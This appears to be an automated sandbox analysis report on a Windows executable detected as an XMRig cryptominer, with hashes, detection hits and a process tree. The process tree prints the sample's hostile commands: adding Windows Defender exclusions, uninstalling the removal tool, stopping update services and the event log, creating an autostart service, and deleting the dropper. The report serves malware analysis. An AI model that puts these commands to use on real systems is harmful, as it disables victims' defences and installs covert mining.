Analysis
-
max time kernel
80s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20231129-en -
resource tags
arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system -
submitted
23-05-2024 00:25
Static task
static1
Behavioral task
behavioral1
Sample
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe
Resource
win7-20231129-en
Behavioral task
behavioral2
Sample
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe
Resource
win10v2004-20240226-en
General
-
Target
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe
-
Size
5.3MB
-
MD5
368aa5ed88410ed27c874687df5944cd
-
SHA1
1436b3f2e4e3564be1ca038041b346011bf682ef
-
SHA256
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561
-
SHA512
8787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd
-
SSDEEP
98304:xRjPz9KDzUU8O5/B/LJ25E9SVh86sS3TRknQ3ss2MApp9meypA3cPDu7:xFKoU8O5/b2XViSjX310SeyGc7u7
Malware Config
Signatures
-
UPX dump on OEP (original entry point) 12 IoCs
Processes:
resource yara_rule behavioral1/memory/2272-28-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-31-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-35-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-37-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-39-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-38-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-36-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-33-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-32-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-30-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-29-0x0000000140000000-0x0000000140848000-memory.dmp UPX behavioral1/memory/2272-40-0x0000000140000000-0x0000000140848000-memory.dmp UPX -
XMRig Miner payload 8 IoCs
Processes:
resource yara_rule behavioral1/memory/2272-35-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-37-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-39-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-38-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-36-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-33-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-32-0x0000000140000000-0x0000000140848000-memory.dmp xmrig behavioral1/memory/2272-40-0x0000000140000000-0x0000000140848000-memory.dmp xmrig -
Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
Processes:
powershell.exepowershell.exepid process 1448 powershell.exe 2184 powershell.exe -
Creates new service(s) 2 TTPs
-
Deletes itself 1 IoCs
Processes:
cmd.exepid process 2032 cmd.exe -
Executes dropped EXE 2 IoCs
Processes:
lutlgidagtja.exepid process 480 1268 lutlgidagtja.exe -
Loads dropped DLL 1 IoCs
Processes:
pid process 480 -
Processes:
resource yara_rule behavioral1/memory/2272-28-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-27-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-31-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-35-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-37-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-39-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-38-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-36-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-33-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-32-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-30-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-29-0x0000000140000000-0x0000000140848000-memory.dmp upx behavioral1/memory/2272-40-0x0000000140000000-0x0000000140848000-memory.dmp upx -
Drops file in System32 directory 4 IoCs
Processes:
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exepowershell.exelutlgidagtja.exepowershell.exedescription ioc process File opened for modification C:\Windows\system32\MRT.exe 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe File opened for modification C:\Windows\system32\MRT.exe lutlgidagtja.exe File opened for modification C:\Windows\System32\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
lutlgidagtja.exedescription pid process target process PID 1268 set thread context of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 set thread context of 2272 1268 lutlgidagtja.exe nslookup.exe -
Drops file in Windows directory 2 IoCs
Processes:
wusa.exewusa.exedescription ioc process File created C:\Windows\wusa.lock wusa.exe File created C:\Windows\wusa.lock wusa.exe -
Launches sc.exe 14 IoCs
Sc.exe is a Windows utlilty to control services on the system.
Processes:
sc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exesc.exepid process 2792 sc.exe 2172 sc.exe 2208 sc.exe 2728 sc.exe 1816 sc.exe 3020 sc.exe 2968 sc.exe 2548 sc.exe 2732 sc.exe 2620 sc.exe 1668 sc.exe 2636 sc.exe 1612 sc.exe 1648 sc.exe -
Modifies data under HKEY_USERS 2 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = f068edbfa7acda01 powershell.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exepowershell.exelutlgidagtja.exepowershell.exenslookup.exepid process 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1448 powershell.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1848 9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe 1268 lutlgidagtja.exe 2184 powershell.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 1268 lutlgidagtja.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe 2272 nslookup.exe -
Suspicious use of AdjustPrivilegeToken 11 IoCs
Processes:
powershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exepowershell.exepowercfg.exepowercfg.exepowercfg.exepowercfg.exenslookup.exedescription pid process Token: SeDebugPrivilege 1448 powershell.exe Token: SeShutdownPrivilege 2724 powercfg.exe Token: SeShutdownPrivilege 2568 powercfg.exe Token: SeShutdownPrivilege 2456 powercfg.exe Token: SeShutdownPrivilege 2460 powercfg.exe Token: SeDebugPrivilege 2184 powershell.exe Token: SeShutdownPrivilege 1404 powercfg.exe Token: SeShutdownPrivilege 1420 powercfg.exe Token: SeShutdownPrivilege 1444 powercfg.exe Token: SeShutdownPrivilege 1504 powercfg.exe Token: SeLockMemoryPrivilege 2272 nslookup.exe -
Suspicious use of WriteProcessMemory 23 IoCs
Processes:
cmd.execmd.execmd.exelutlgidagtja.exedescription pid process target process PID 2524 wrote to memory of 2632 2524 cmd.exe wusa.exe PID 2524 wrote to memory of 2632 2524 cmd.exe wusa.exe PID 2524 wrote to memory of 2632 2524 cmd.exe wusa.exe PID 2032 wrote to memory of 1596 2032 cmd.exe choice.exe PID 2032 wrote to memory of 1596 2032 cmd.exe choice.exe PID 2032 wrote to memory of 1596 2032 cmd.exe choice.exe PID 1672 wrote to memory of 1880 1672 cmd.exe wusa.exe PID 1672 wrote to memory of 1880 1672 cmd.exe wusa.exe PID 1672 wrote to memory of 1880 1672 cmd.exe wusa.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2948 1268 lutlgidagtja.exe conhost.exe PID 1268 wrote to memory of 2272 1268 lutlgidagtja.exe nslookup.exe PID 1268 wrote to memory of 2272 1268 lutlgidagtja.exe nslookup.exe PID 1268 wrote to memory of 2272 1268 lutlgidagtja.exe nslookup.exe PID 1268 wrote to memory of 2272 1268 lutlgidagtja.exe nslookup.exe PID 1268 wrote to memory of 2272 1268 lutlgidagtja.exe nslookup.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"1⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe delete "JIOGRCSG"2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe create "JIOGRCSG" binpath= "C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe" start= "auto"2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop eventlog2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe start "JIOGRCSG"2⤵
- Launches sc.exe
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c choice /C Y /N /D Y /T 3 & Del "C:\Users\Admin\AppData\Local\Temp\9177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561.exe"2⤵
- Deletes itself
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\choice.exechoice /C Y /N /D Y /T 33⤵
-
C:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeC:\ProgramData\zvycwxhpsxqt\lutlgidagtja.exe1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force2⤵
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\wusa.exewusa /uninstall /kb:890830 /quiet /norestart3⤵
- Drops file in Windows directory
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop UsoSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop WaaSMedicSvc2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop wuauserv2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop bits2⤵
- Launches sc.exe
-
C:\Windows\system32\sc.exeC:\Windows\system32\sc.exe stop dosvc2⤵
- Launches sc.exe
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-ac 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\powercfg.exeC:\Windows\system32\powercfg.exe /x -standby-timeout-dc 02⤵
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\system32\conhost.exeC:\Windows\system32\conhost.exe2⤵
-
C:\Windows\system32\nslookup.exenslookup.exe2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
\ProgramData\zvycwxhpsxqt\lutlgidagtja.exeFilesize
5.3MB
MD5368aa5ed88410ed27c874687df5944cd
SHA11436b3f2e4e3564be1ca038041b346011bf682ef
SHA2569177c0264805988c182d7ea133385f11ee0ecb985cb9e07308a4b7f08ac64561
SHA5128787adcc5c6d0d185b0baf777430c44450ef7b84303bf4790cf03afda9a43ce7f4daf6f1f4864ec27ad4bf4a48cfefcbe3baac952aa0abd7267f1636f39ba0bd
-
memory/1448-4-0x000007FEF619E000-0x000007FEF619F000-memory.dmpFilesize
4KB
-
memory/1448-5-0x000000001B500000-0x000000001B7E2000-memory.dmpFilesize
2.9MB
-
memory/1448-6-0x0000000001D50000-0x0000000001D58000-memory.dmpFilesize
32KB
-
memory/1448-7-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmpFilesize
9.6MB
-
memory/1448-8-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmpFilesize
9.6MB
-
memory/1448-9-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmpFilesize
9.6MB
-
memory/1448-10-0x0000000002954000-0x0000000002957000-memory.dmpFilesize
12KB
-
memory/1448-11-0x000007FEF5EE0000-0x000007FEF687D000-memory.dmpFilesize
9.6MB
-
memory/2184-16-0x0000000019F50000-0x000000001A232000-memory.dmpFilesize
2.9MB
-
memory/2184-17-0x00000000011C0000-0x00000000011C8000-memory.dmpFilesize
32KB
-
memory/2272-28-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-38-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-40-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-29-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-30-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-32-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-27-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-33-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-31-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-34-0x00000000003F0000-0x0000000000410000-memory.dmpFilesize
128KB
-
memory/2272-35-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-37-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-39-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2272-36-0x0000000140000000-0x0000000140848000-memory.dmpFilesize
8.3MB
-
memory/2948-21-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
-
memory/2948-18-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
-
memory/2948-19-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
-
memory/2948-20-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
-
memory/2948-22-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB
-
memory/2948-24-0x0000000140000000-0x000000014000E000-memory.dmpFilesize
56KB